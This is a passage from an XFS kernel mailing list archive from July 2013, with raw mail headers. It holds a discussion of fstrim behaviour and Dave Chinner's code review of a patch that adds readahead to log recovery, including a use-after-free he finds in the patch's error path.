wrong? t~he one used to size the buffer > >being allocated - which is intentionally oversized for the inode > >forks - or the actual size formatted into the buffer, which was > >unchanged? > > > >I mean, 164 bytes is an inode core (96 bytes) plus a inode log > >format structure. The increase of 140 bytes indicates that we are > >logging roughly the entire 256 byte inode - i.e. both forks. > > > >But are you looking at the size returned by iop_size or iop_format? > >iop_size will be new, iop_format is unchanged by this patchset. > >indeed, what iop_format returns as vectors is *unchanged* by this > >patchset, so I think that you are chasing down the wrong path here. > > > > 164 is the variable len. It is the sum of the xfs_log_iovec.i_len after > format. Right. > 304 is the result of the iop_size(). starting in patch 44 that is used > insteead of len. When we go do the format, we only use 164. > > It is the XFS_DINODE_FMT_EXTENTS inode type that generates the extra > 140 bytes in xfs_inode_item_size(). Sure, the changes to iop_size() can return the full size of the inode if the inode forks are in the correct format as it is returns the worst case possible for the given format. > In patch 43, use nbytes instead of len like is done in patch 44 and it > hangs at the same time and manner than patch 44. nbytes is the size is by iop_size(), and is 304. But there is no "len" parameter in patch 44, so I've got no idea what you are talking about. Can you please use code snippets to show exectly what you are talking about? I need to know if you worked around the problem I think you have, and the only way I can tell that is if you post the patch that you tested that fixed the problem you were seeing. Posting code that fixes the problem is often the simplest and easiest way to describe the problem being solved.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 30 17:35:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CA7D27CBF for ; Tue, 30 Jul 2013 17:35:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id ACEB38F8033 for ; Tue, 30 Jul 2013 15:35:15 -0700 (PDT) X-ASG-Debug-ID: 1375223710-04cbb02c3e25e2c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KaVMdJPhJbgfrTl2; Tue, 30 Jul 2013 15:35:11 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMEAC4/+FF5LPxHgWdsb2JhbABTCIYytjqFN4EeFw4BARYmKIIkAQEEATocIwULCAMOCgklDwUlAyETiAoFuGoWjiyBPAeECQOXXpRzKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 08:04:50 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4IVG-0001s6-8o; Wed, 31 Jul 2013 08:34:50 +1000 Date: Wed, 31 Jul 2013 08:34:50 +1000 From: Dave Chinner To: Stefan Priebe Cc: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: [xfs-masters] how to use fstrim? Message-ID: <20130730223450.GL13468@dastard> X-ASG-Orig-Subj: Re: [xfs-masters] how to use fstrim? References: <51F2BD31.5060301@profihost.ag> <20130727015029.GT13468@dastard> <51F815EB.9040000@profihost.ag> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F815EB.9040000@profihost.ag> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375223710 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 30, 2013 at 09:37:15PM +0200, Stefan Priebe wrote: > Am 27.07.2013 03:50, schrieb Dave Chinner: > >On Fri, Jul 26, 2013 at 08:17:21PM +0200, Stefan Priebe wrote: > >>Hi, > >> > >>what is the right way to use fstrim on top of XFS? just doing fstrim > >>-v -m 4194304 / > >> > >>results sometimes (might depend on disk i/o) to hanging tasks and > >>stack traces - fstrim needs > 5 min in these cases. > > > >It does indeed depend on disk IO. XFS walks all the free space and > >issues discards on it, so runtime is always O(freespace). And while > >it is walking an AG discarding the free space, it will hold the AG > >locked so that free space doesn't change. This can hang other > >operations for the length of time it takes to discard all the free > >space in the AG. > > IOWs, the behaviour of fstrim on XFS is entirely dependent on the > > speed of the block layer and hardware implementations of discards. > > Yes OK i understand that but is there any way to prevent getting the > whole server crash when I/O is too much? Sorry, what crash are you talking about? IO being slow because you ran fstrim isn't a crash.... > For example splitting whole disk or even AGs into subparts? Or set a > timeout for the fstrim command? You can split fstrim up into smaller sections yourself by using the range parameters. Cheers, Dave. -- Dave Chinner david@fromorbit.com From zwu.kernel@gmail.com Tue Jul 30 17:36:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 90F077CBF for ; Tue, 30 Jul 2013 17:36:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 179EBAC003 for ; Tue, 30 Jul 2013 15:36:31 -0700 (PDT) X-ASG-Debug-ID: 1375223789-04bdf02f20264bc0001-NocioJ Received: from mail-qe0-f47.google.com (mail-qe0-f47.google.com [209.85.128.47]) by cuda.sgi.com with ESMTP id svzw4HiQ1ggxWAQj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 15:36:29 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] Received: by mail-qe0-f47.google.com with SMTP id b10so2008131qen.34 for ; Tue, 30 Jul 2013 15:36:14 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=1CRzAuRIDFq6EzeRBk54q+dOmACPuaQ32yABbON9ex4=; b=pW9HTP+d1Y/nz+e8cYJNEsspYWZNUyUYBgZo9GV8qT0tbcBCBfDIYVf+UdEuFQeLW7 wHRf+wdt4TBjQ2zC7pjIxjYCZL/7lNvP9JsAg520v0G7ax+/jKIGiQjNL7WQaf1LDrkP wBA951LTKqSk+1Qm2Nvppu6Kz4eHMhF8ZYZrZXkbJZoBLy0eUv+VWKWhimLMgy+C3mUb S0GJKY1m2Iwdb1sgmiES4grZTm7a2uAHPqbJeTqhjE2CuCd5P1C492P+rjGwG/Qzx4IZ 1GAVJHUySiy7dJCeYzV7Gmx3NmCGPbkAX8H5aQsY5t8w5gqMpmZWmIbjegHw7/m5g4No aQ8g== MIME-Version: 1.0 X-Received: by 10.229.46.7 with SMTP id h7mr9762742qcf.102.1375223774025; Tue, 30 Jul 2013 15:36:14 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Tue, 30 Jul 2013 15:36:13 -0700 (PDT) In-Reply-To: <51F7BB2A.2090803@redhat.com> References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> <51F7BB2A.2090803@redhat.com> Date: Wed, 31 Jul 2013 06:36:13 +0800 Message-ID: Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery To: Brian Foster Cc: xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qe0-f47.google.com[209.85.128.47] X-Barracuda-Start-Time: 1375223789 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Jul 30, 2013 at 9:10 PM, Brian Foster wrote: > On 07/30/2013 05:59 AM, zwu.kernel@gmail.com wrote: >> From: Zhi Yong Wu >> >> It can take a long time to run log recovery operation because it is >> single threaded and is bound by read latency. We can find that it took >> most of the time to wait for the read IO to occur, so if one object >> readahead is introduced to log recovery, it will obviously reduce the >> log recovery time. >> >> Log recovery time stat: >> >> w/o this patch w/ this patch >> >> real: 0m15.023s 0m7.802s >> user: 0m0.001s 0m0.001s >> sys: 0m0.246s 0m0.107s >> >> Signed-off-by: Zhi Yong Wu >> --- > > Cool patch. I'm not terribly familiar with the log recovery code so take > my comments with a grain of salt, but a couple things I noticed on a > quick skim... > >> fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- >> fs/xfs/xfs_log_recover.h | 2 + >> 2 files changed, 159 insertions(+), 5 deletions(-) >> > ... >> >> +STATIC int >> +xlog_recover_items_pass2( >> + struct xlog *log, >> + struct xlog_recover *trans, >> + struct list_head *buffer_list, >> + struct list_head *ra_list) > > A nit, but technically this function doesn't have to be involved with > readahead. Perhaps rename ra_list to item_list..? ok, applied. > >> +{ >> + int error = 0; >> + xlog_recover_item_t *item; >> + >> + list_for_each_entry(item, ra_list, ri_list) { >> + error = xlog_recover_commit_pass2(log, trans, >> + buffer_list, item); >> + if (error) >> + return error; >> + } >> + >> + return error; >> +} >> + >> /* >> * Perform the transaction. >> * >> @@ -3189,9 +3314,11 @@ xlog_recover_commit_trans( >> struct xlog_recover *trans, >> int pass) >> { >> - int error = 0, error2; >> - xlog_recover_item_t *item; >> + int error = 0, error2, ra_qdepth = 0; >> + xlog_recover_item_t *item, *next; >> LIST_HEAD (buffer_list); >> + LIST_HEAD (ra_list); >> + LIST_HEAD (all_ra_list); >> >> hlist_del(&trans->r_list); >> >> @@ -3199,14 +3326,21 @@ xlog_recover_commit_trans( >> if (error) >> return error; >> >> - list_for_each_entry(item, &trans->r_itemq, ri_list) { >> + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { >> switch (pass) { >> case XLOG_RECOVER_PASS1: >> error = xlog_recover_commit_pass1(log, trans, item); >> break; >> case XLOG_RECOVER_PASS2: >> - error = xlog_recover_commit_pass2(log, trans, >> - &buffer_list, item); >> + if (ra_qdepth++ >= XLOG_RECOVER_MAX_QDEPTH) { > > The counting mechanism looks strange and easy to break with future > changes. Why not increment ra_qdepth in the else bracket where it is > explicitly tied to the operation it tracks? ok. > >> + error = xlog_recover_items_pass2(log, trans, >> + &buffer_list, &ra_list); >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + ra_qdepth = 0; > > So now we've queued up a bunch of items we've issued readahead on in > ra_list and we've executed the recovery on the list. What happens to the > current item? Good catch, the current item was missed. Done. > > Brian > >> + } else { >> + xlog_recover_ra_pass2(log, item); >> + list_move_tail(&item->ri_list, &ra_list); >> + } >> break; >> default: >> ASSERT(0); >> @@ -3216,9 +3350,27 @@ xlog_recover_commit_trans( >> goto out; >> } >> >> + if (!list_empty(&ra_list)) { >> + error = xlog_recover_items_pass2(log, trans, >> + &buffer_list, &ra_list); >> + if (error) >> + goto out; >> + >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + } >> + >> + if (!list_empty(&all_ra_list)) >> + list_splice_init(&all_ra_list, &trans->r_itemq); >> + >> xlog_recover_free_trans(trans); >> >> out: >> + if (!list_empty(&ra_list)) >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + >> + if (!list_empty(&all_ra_list)) >> + list_splice_init(&all_ra_list, &trans->r_itemq); >> + >> error2 = xfs_buf_delwri_submit(&buffer_list); >> return error ? error : error2; >> } >> diff --git a/fs/xfs/xfs_log_recover.h b/fs/xfs/xfs_log_recover.h >> index 1c55ccb..16322f6 100644 >> --- a/fs/xfs/xfs_log_recover.h >> +++ b/fs/xfs/xfs_log_recover.h >> @@ -63,4 +63,6 @@ typedef struct xlog_recover { >> #define XLOG_RECOVER_PASS1 1 >> #define XLOG_RECOVER_PASS2 2 >> >> +#define XLOG_RECOVER_MAX_QDEPTH 100 >> + >> #endif /* __XFS_LOG_RECOVER_H__ */ >> > -- Regards, Zhi Yong Wu From david@fromorbit.com Tue Jul 30 18:12:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0447C7CBF for ; Tue, 30 Jul 2013 18:12:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75D1FAC004 for ; Tue, 30 Jul 2013 16:12:06 -0700 (PDT) X-ASG-Debug-ID: 1375225920-04cb6c2e9d261170001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OfhDhUc9apfssLrL for ; Tue, 30 Jul 2013 16:12:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMEAJdH+FF5LPxHgWdsb2JhbABbhjK2O4U3gR4XDgEBFiYogiQBAQQBJxMcIwULCAMVAwklDwUNGAM0h34DCQWvfQ2IXhaMd4JxB4QJA5V2gWiMJ4hMKoEuJA Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 08:41:56 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4J59-0001wX-Hp; Wed, 31 Jul 2013 09:11:55 +1000 Date: Wed, 31 Jul 2013 09:11:55 +1000 From: Dave Chinner To: zwu.kernel@gmail.com Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery Message-ID: <20130730231155.GM13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375225920 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Tue, Jul 30, 2013 at 05:59:07PM +0800, zwu.kernel@gmail.com wrote: > From: Zhi Yong Wu > > It can take a long time to run log recovery operation because it is > single threaded and is bound by read latency. We can find that it took > most of the time to wait for the read IO to occur, so if one object > readahead is introduced to log recovery, it will obviously reduce the > log recovery time. > > Log recovery time stat: > > w/o this patch w/ this patch > > real: 0m15.023s 0m7.802s > user: 0m0.001s 0m0.001s > sys: 0m0.246s 0m0.107s > > Signed-off-by: Zhi Yong Wu > --- > fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_log_recover.h | 2 + > 2 files changed, 159 insertions(+), 5 deletions(-) > > diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > index 7681b19..029826f 100644 > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( > kmem_free(trans); > } > > +STATIC void > +xlog_recover_buffer_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; > + xfs_mount_t *mp = log->l_mp; struct xfs_buf_log_format struct xfs_mount > + > + if (xlog_check_buffer_cancelled(log, buf_f->blf_blkno, > + buf_f->blf_len, buf_f->blf_flags)) { > + return; > + } > + > + xfs_buf_readahead(mp->m_ddev_targp, buf_f->blf_blkno, > + buf_f->blf_len, NULL); > +} > + > +STATIC void > +xlog_recover_inode_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + xfs_inode_log_format_t in_buf, *in_f; > + xfs_mount_t *mp = log->l_mp; struct xfs_inode_log_format struct xfs_mount and a separate declaration for each variable. Also, in_buf and in_f are not very good names as tehy don't follow any commonly used XFs naming convention. The shorthand for a struct xfs_inode_log_format variable is "ilf" and a pointer to such an object is "ilfp". i.e: struct xfs_inode_log_format ilf_buf; struct xfs_inode_log_format *ilfp; > +xlog_recover_dquot_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + xfs_mount_t *mp = log->l_mp; > + struct xfs_disk_dquot *recddq; > + int error; > + xfs_dq_logformat_t *dq_f; > + uint type; More typedefs. > + > + > + if (mp->m_qflags == 0) > + return; > + > + recddq = item->ri_buf[1].i_addr; > + if (recddq == NULL) > + return; > + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) > + return; > + > + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); > + ASSERT(type); > + if (log->l_quotaoffs_flag & type) > + return; > + > + dq_f = item->ri_buf[0].i_addr; > + ASSERT(dq_f); > + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, > + "xlog_recover_dquot_ra_pass2 (log copy)"); You don't need to do validation of the dquot in the transaction here - it's unlikely to be corrupt. Just do the readahead like for a normal buffer, and the validation can occur when recovering the item in the next pass. > + if (error) > + return; > + ASSERT(dq_f->qlf_len == 1); > + > + xfs_buf_readahead(mp->m_ddev_targp, dq_f->qlf_blkno, > + dq_f->qlf_len, NULL); > +} > + > +STATIC void > +xlog_recover_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + switch (ITEM_TYPE(item)) { > + case XFS_LI_BUF: > + xlog_recover_buffer_ra_pass2(log, item); > + break; > + case XFS_LI_INODE: > + xlog_recover_inode_ra_pass2(log, item); > + break; > + case XFS_LI_DQUOT: > + xlog_recover_dquot_ra_pass2(log, item); > + break; > + case XFS_LI_EFI: > + case XFS_LI_EFD: > + case XFS_LI_QUOTAOFF: > + default: > + break; > + } > +} > + > STATIC int > xlog_recover_commit_pass1( > struct xlog *log, > @@ -3177,6 +3282,26 @@ xlog_recover_commit_pass2( > } > } > > +STATIC int > +xlog_recover_items_pass2( > + struct xlog *log, > + struct xlog_recover *trans, > + struct list_head *buffer_list, > + struct list_head *ra_list) > +{ > + int error = 0; > + xlog_recover_item_t *item; typedef. > + > + list_for_each_entry(item, ra_list, ri_list) { > + error = xlog_recover_commit_pass2(log, trans, > + buffer_list, item); > + if (error) > + return error; > + } > + > + return error; > +} > + > /* > * Perform the transaction. > * > @@ -3189,9 +3314,11 @@ xlog_recover_commit_trans( > struct xlog_recover *trans, > int pass) > { > - int error = 0, error2; > - xlog_recover_item_t *item; > + int error = 0, error2, ra_qdepth = 0; > + xlog_recover_item_t *item, *next; typedef, one variable per line. > LIST_HEAD (buffer_list); > + LIST_HEAD (ra_list); > + LIST_HEAD (all_ra_list); Isn't the second the "recovered" list? i.e. objects are moved to the ra_list when readhead is issued, then when they are committed they are moved to the "recovered" list? > hlist_del(&trans->r_list); > > @@ -3199,14 +3326,21 @@ xlog_recover_commit_trans( > if (error) > return error; > > - list_for_each_entry(item, &trans->r_itemq, ri_list) { > + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { > switch (pass) { > case XLOG_RECOVER_PASS1: > error = xlog_recover_commit_pass1(log, trans, item); > break; > case XLOG_RECOVER_PASS2: > - error = xlog_recover_commit_pass2(log, trans, > - &buffer_list, item); > + if (ra_qdepth++ >= XLOG_RECOVER_MAX_QDEPTH) { I'd define XLOG_RECOVER_MAX_QDEPTH inside this function with all the local variables. It has not scope outside this function. Also, "items_queued" is a better name than ra_qdepth - we are tracking how many items we've queued for recovery, not the number of readahead IOs we have in progress. Similar for XLOG_RECOVER_MAX_QDEPTH - XLOG_RECOVER_COMMIT_QUEUE_MAX might be better. > + error = xlog_recover_items_pass2(log, trans, > + &buffer_list, &ra_list); > + list_splice_tail_init(&ra_list, &all_ra_list); > + ra_qdepth = 0; > + } else { > + xlog_recover_ra_pass2(log, item); > + list_move_tail(&item->ri_list, &ra_list); > + } > break; > default: > ASSERT(0); > @@ -3216,9 +3350,27 @@ xlog_recover_commit_trans( > goto out; > } > > + if (!list_empty(&ra_list)) { > + error = xlog_recover_items_pass2(log, trans, > + &buffer_list, &ra_list); > + if (error) > + goto out; > + > + list_splice_tail_init(&ra_list, &all_ra_list); > + } > + > + if (!list_empty(&all_ra_list)) > + list_splice_init(&all_ra_list, &trans->r_itemq); > + > xlog_recover_free_trans(trans); > > out: > + if (!list_empty(&ra_list)) > + list_splice_tail_init(&ra_list, &all_ra_list); > + > + if (!list_empty(&all_ra_list)) > + list_splice_init(&all_ra_list, &trans->r_itemq); The error handling here is all wrong. xlog_recover_free_trans() frees everything on the trans->r_itemq, and then frees trans, so this is both leaky and a use after free. This is all you need to do here: @@ -3216,6 +3359,13 @@ xlog_recover_commit_trans( if (error) goto out; } + if (!list_empty(&ra_list)) { + error = recover_commit(log, trans, &buffer_list, &ra_list); + list_splice_init(&ra_list, &done_list); + } + + if (!list_empty(&done_list)) + list_splice(&done_list, &trans->r_itemq); xlog_recover_free_trans(trans); i.e. run the recovery of the remainder of the ra_list, splice it to the done list, the splice the done list back to the trans and then free the trans. The error path falls through naturally and without needing any special handling.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 30 18:15:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E72A7CBF for ; Tue, 30 Jul 2013 18:15:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 514ED8F8049 for ; Tue, 30 Jul 2013 16:15:26 -0700 (PDT) X-ASG-Debug-ID: 1375226124-04bdf02f22267470001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id QVibKIjqcXDpOD4g for ; Tue, 30 Jul 2013 16:15:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ai4GAI9I+FF5LPxHgWdsb2JhbABbhjKJaaxShTeBHhcOAQEWJiiCJAEBBTocIxAIAxgJJQ8FJQMhE4gPuGgWj2gHhAkDl16KIopRKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 08:45:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4J8K-0001xA-J3; Wed, 31 Jul 2013 09:15:12 +1000 Date: Wed, 31 Jul 2013 09:15:12 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130730231512.GN13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types References: <20130729230700.6d07bf73@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130729230700.6d07bf73@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375226124 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 29, 2013 at 11:07:00PM -0400, Dwight Engen wrote: > Have eofblocks ioctl convert uid_t to kuid_t into internal structure. > Update internal filter matching to compare ids with kuid_t types. > > Reviewed-by: Brian Foster > Signed-off-by: Dwight Engen Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 30 18:16:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DAE57CBF for ; Tue, 30 Jul 2013 18:16:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CFD3AC003 for ; Tue, 30 Jul 2013 16:16:09 -0700 (PDT) X-ASG-Debug-ID: 1375226167-04cbb02c3c260c30001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bYlGBob2u9lupdxx for ; Tue, 30 Jul 2013 16:16:08 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMEAI9I+FF5LPxHgWdsb2JhbABbhjK2O4U3gR4XDgEBFiYogiQBAQU6HCMQCAMYCSUPBSUDIROID7hoFo9oB4QJA5delHMq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 08:46:07 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4J9C-0001xI-Gx; Wed, 31 Jul 2013 09:16:06 +1000 Date: Wed, 31 Jul 2013 09:16:06 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl Message-ID: <20130730231606.GO13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl References: <20130729230705.128e4509@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130729230705.128e4509@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375226167 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 